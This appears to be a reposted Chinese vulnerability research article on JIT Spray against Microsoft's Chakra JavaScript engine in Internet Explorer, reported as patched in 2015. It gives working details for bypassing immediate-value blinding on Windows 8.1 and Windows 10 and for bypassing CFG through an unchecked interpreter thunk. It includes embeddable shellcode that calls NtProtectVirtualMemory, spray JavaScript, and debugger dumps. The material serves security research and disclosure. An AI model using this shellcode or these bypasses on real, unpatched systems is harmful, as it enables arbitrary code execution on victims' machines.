<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/binary/11171

            [email protected]

            0x00 摘要


            JIT Spray是一種誕生于2010年的漏洞利用技術,可將Shellcode嵌入到JIT引擎生成的可執行代碼中。目前,包括Chakra在內的各JIT引擎幾乎都針對該技術采取了防御措施,包括隨機插入空指令、立即數加密等。本文將指出Chakra的JIT Spray防御措施的兩個問題(分別存在于Windows 8.1及其之前的系統,以及Windows 10之中),使得攻擊者可在IE中用JIT Spray技術執行Shellcode,從而繞過DEP。同時,本文還給出了一種利用Chakra的JIT引擎繞過CFG的方法。

            0x01 JIT引擎的立即數加密


            立即數加密是最重要的JIT Spray緩解技術。Chakra引擎會對每一個高位或低位不是0x0000或0xFFFF的用戶傳入的立即數用隨機生成的Key進行異或,再在運行時還原。例如,對于以下JavaScript:

            ...
            a ^= 0x90909090;
            a ^= 0x90909090;
            a ^= 0x90909090;
            ...
            

            生成的機器指令將類似于:

            ...
            096b0091 ba555593c5      mov     edx,0C5935555h
            096b0096 81f2c5c50355    xor     edx,5503C5C5h
            096b009c 33fa            xor     edi,edx
            096b009e bab045edfb      mov     edx,0FBED45B0h
            096b00a3 81f220d57d6b    xor     edx,6B7DD520h
            096b00a9 33fa            xor     edi,edx
            096b00ab baef85f139      mov     edx,39F185EFh
            096b00b0 81f27f1561a9    xor     edx,0A961157Fh
            096b00b6 33fa            xor     edi,edx
            ...
            

            從而使所生成指令中的立即數不可預測,也就無法嵌入代碼。

            0x02 繞過Windows 8.1及其之前Chakra引擎的立即數加密


            Chakra引擎內部對整數n會以n2+1的方式存儲。所以,在處理n=n+m時,不必從n2+1還原出n再和m相加,只需要將m2加到n2+1的結果上去即可。而對于m*2,Windows 8.1及其之前的Chakra引擎會認為是其自身生成的數據,而不是用戶傳入的,所以不會進行加密。例如對以下JavaScript:

            ...
            a += 0x18EB9090/2;
            a += 0x18EB9090/2;
            ...
            

            在某幾個條件同時滿足的情況下,可以讓Windows 8.1及其之前的Chakra引擎生成類似這樣的機器指令:

            ...
            05010090 81c19090eb18    add     ecx,18EB9090h
            05010096 0f80d6010000    jo      05010272
            0501009c 8bf9            mov     edi,ecx
            0501009e 8b5dbc          mov     ebx,dword ptr [ebp-44h]
            050100a1 f6c301          test    bl,1
            050100a4 0f8413020000    je      050102bd
            050100aa 8bcb            mov     ecx,ebx
            050100ac 81c19090eb18    add     ecx,18EB9090h
            050100b2 0f8005020000    jo      050102bd
            050100b8 8bf9            mov     edi,ecx
            050100ba 8b5dbc          mov     ebx,dword ptr [ebp-44h]
            050100bd f6c301          test    bl,1
            050100c0 0f8442020000    je      05010308
            050100c6 8bcb            mov     ecx,ebx
            ...
            0:017> u 05010090 + 2 l 3
            05010092 90              nop
            05010093 90              nop
            05010094 eb18            jmp     050100ae
            0:017> u 050100ae l 3
            050100ae 90              nop
            050100af 90              nop
            050100b0 eb18            jmp     050100ca
            

            所以只要寫出每條指令長度不大于2字節的Shellcode,就可以嵌入到立即數中。因為實際產生的立即數是JavaScript中數字的2倍,所以使用的指令如果是2字節,第1字節必須為偶數。這是完全可能做到的。

            0x5854   // push esp--pop eax    ; eax = esp, make eax writeable
            0x5252   // push edx--push edx   ; esp -= 8
            0x016A   // push 1
            0x4A5A   // pop  edx--dec edx    ; edx = 0
            0x5E52   // push edx--pop esi    ; esi = 0
            0x40B6   // mov  dh, 0x40        ; edx = 0x4000, NumberOfBytesToProtect
            0x5452   // push edx--push esp   ; *esp = &NumberOfBytesToProtect
            0x5B90   // pop  ebx             ; ebx = &NumberOfBytesToProtect
            0x14B6   // mov  dh, 0x14
            0x14B2   // mov  dl, 0x14
            0x5266   // push dx
            0x5666   // push si              ; *esp = 0x14140000
            0x525A   // pop  edx-push edx    ; edx = 0x14140000
            0x5E54   // push esp--pop  esi   ; esi = &BaseAddress, 
            0x5454   // push esp--push esp   ; push &OldAccessProtection 
            0x406A   // push 0x40            ; PAGE_EXECUTE_READWRITE
            0x5390   // push ebx             ; push  &NumberOfBytesToProtect
            0x5690   // push esi             ; push &BaseAddress
            0xFF6A   // push -1              ; 
            0x5252   // push edx--push edx   ; set ret addr
            0x5290   // push edx             ; prepare esp for fs:[esi]
            0x016A   // push 1
            0x4A5A   // pop  edx--dec edx    ; edx = 0
            0xC0B2   // mov  dl, 0xC0
            0x5E52   // push edx--pop esi
            0x5F54   // push esp--pop edi
            0xA564   // movs dword ptr [edi], dword ptr fs:[esi] ; *esp = *(fs:0xC0)
            0x4FB2   // mov  dl, 0x50        ; NtProtectVirtualMemory, Win8.1:0x4F, Win10:0x50
            0x5290   // push edx
            0xC358   // pop  eax--ret        ; ret to syscall
            

            0x03 繞過Windows 10的 Chakra引擎的立即數加密


            Windows 10的Chakra引擎并沒有前述問題。但是,由于Windows 10的Chakra引擎高度優化,在處理整數類型數組寫入操作時,會用最高效的方式生成JIT代碼。例如,對于下面的JavaScript語句:

            var ar = new Uint16Array(0x10000);
            ar[0x9090/2] = 0x9090;
            ar[0x9090/2] = 0x9090;
            ar[0x9090/2] = 0x9090;
            ar[0x9090/2] = 0x9090;
            ...
            

            生成的機器指令是:

            ...
            0b8110e0 66c786909000009090 mov   word ptr [esi+9090h],9090h
            0b8110e9 66c786909000009090 mov   word ptr [esi+9090h],9090h
            0b8110f2 66c786909000009090 mov   word ptr [esi+9090h],9090h
            0b8110fb 66c786909000009090 mov   word ptr [esi+9090h],9090h
            ...
            

            雖然Chakra引擎的JIT Spray防御措施只允許用戶控制最多2字節立即數,但在上面這種情況下,數組索引和要寫入的數字會出現在同一條指令中。所以實際上我們有了4字節而不是2字節的可控數據。

            在這種情況下,同樣可在其中嵌入前面提到的每條指令長度不大于2字節的Shellcode。只是由于多了中間的兩字節0x00(會被作為指令“add byte ptr [eax],al”執行),所以需要在最開始兩字節的指令中將EAX設為可寫的地址。

            0x04 利用Chakra引擎繞過CFG


            利用前面介紹的兩種方法,可以實施JIT Spray繞過DEP。但嵌入在JIT代碼中的Shellcode執行入口地址顯然無法通過CFG檢查。但實際上Chakra引擎的實現中就存在可用來繞過CFG的地方。

            無論所執行的JavaScript是否需要啟動JIT,Chakra引擎都一定會在內存中生成如下入口函數:

            0:017> uf 4ff0000
            04ff0000 55          push  ebp
            04ff0001 8bec        mov   ebp,esp
            04ff0003 8b4508      mov   eax,dword ptr [ebp+8]
            04ff0006 8b4014      mov   eax,dword ptr [eax+14h]
            04ff0009 8b4840      mov   ecx,dword ptr [eax+40h]
            04ff000c 8d4508      lea   eax,[ebp+8]
            04ff000f 50          push  eax
            04ff0010 b840cb5a71  mov   eax, 715acb40h ; jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>
            04ff0015 ffe1        jmp   ecx
            

            這個函數的指針可以通過CFG檢查,同時,這個函數在jmp ecx之前,并沒有對ecx的指針其進行CFG檢查。所以,這個入口函數實際上相當于一個可以跳往任意地址的跳板。下面我們姑且將其稱作“cfgJumper”。

            0x05 定位JIT內存和“cfgJumper”


            要利用JIT Spray繞過DEP和利用“cfgJumper”繞過CFG,就需要定位JIT編譯后的代碼和“cfgJumper”,有趣的是,找到它們的方法幾乎是相同的。

            在JavaScript中所寫的任何一個函數,都對應一個Js::ScriptFunction對象。每個Js::ScriptFunction對象又包含著一個Js::FunctionBody對象。Js::FunctionBody對象中保存著調用這個JavaScript函數時實際會執行的內存指針。

            如果一個函數未被調用過,那么它的Js::FunctionBody中存放的實際內存指針是Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:

            0:002> dc 0b89de70 l 8
            0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@...........
            0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
            0:002> dc 0b8d0000 l 8
            0b8d0000  6ff6c970 70181720 00000001 00000000  p..o ..p........
            0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
            0:002> u 70181720 l 1
            Chakra!Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:
            70181720 55              push    ebp
            

            如果一個函數被調用過,但沒有被編譯為JIT代碼,仍然是解釋執行,那么它的Js::FunctionBody中存放的實際內存指針是“cfgJumper”:

            0:002> dc 0b89de70 l 8
            0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@...........
            0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
            0:002> dc 0b8d0000 l 8
            0b8d0000  6ff6c970 00860000 00000001 00000000  p..o............
            0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
            0:002> u 00860000
            00860000 55          push  ebp
            00860001 8bec        mov   ebp,esp
            00860003 8b4508      mov   eax,dword ptr [ebp+8]
            00860006 8b4014      mov   eax,dword ptr [eax+14h]
            00860009 8b4840      mov   ecx,dword ptr [eax+40h]
            0086000c 8d4508      lea   eax,[ebp+8]
            0086000f 50          push  eax
            00860010 b800240870  mov   70082400h ; Chakra!Js::InterpreterStackFrame::InterpreterThunk
            

            如果一個函數被循環調用多次,導致Chakra引擎將其編譯為JIT代碼,那么它的Js::FunctionBody中存放的實際內存指針就是該函數編譯后的JIT代碼指針:

            0:002> d 0b89de70 l8
            0b89de70  6ff72808 0b89de40 00000000 00000000  .(.o@...........
            0b89de80  70523168 0b8d0000 7041f35c 00000000  h1Rp....\.Ap....
            0:002> d 0b8d0000 l8
            0b8d0000  6ff6c970 00950000 00000001 00000000  p..o............
            0b8d0010  0b8d0000 000001b8 072cc7e0 0b418ea0  ..........,...A.
            0:002> u 00950000
            00950000 55              push    ebp
            00950001 8bec            mov     ebp,esp
            00950003 81fc44c9120b    cmp     esp,0B12C944h
            00950009 7f18            jg      00950023
            0095000b 6a00            push    0
            0095000d 6a00            push    0
            0095000f 68e0c72c07      push    72CC7E0h
            00950014 6844090000      push    944h
            

            了解了Js::ScriptFunction和Js::FunctionBody對象的結構,以及上面所述的這些,就可以準確地找到編譯后的JIT代碼,和“cfgJumper”。

            0x06 隨機插入空指令的問題


            除了立即數加密,Chakra引擎也采用了隨機插入空指令的方法來緩解JIT Spray。不過Chakra插入空指令的密度并不高。PoC中使用的由29個16位數組成的JIT Shellcode,在針對Windows 10的利用方式中,會生成29條x86指令,其中幾乎不會被插入空指令。但是在針對Windows 8.1及其之前的Chakra引擎的利用方式中,會生成約200條x86指令,就很可能被插入空指令。

            解決這個問題的方法是:

            1. 創建一個新的script標簽,并將包含JIT ShellCode的JavaScript函數放在里面。
            2. 循環調用該函數觸發JIT編譯。
            3. 讀取編譯后的代碼,判斷JIT ShellCode中間是否被插入了空指令。
            4. 如果被插入了空指令,就銷毀script標簽,重新創建。循環上述過程。

            本文測試環境是安裝了2015年5月補丁的Windows 8.1和Windows 10 TP 9926。

            本文所述問題微軟已于2015年9月修復。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线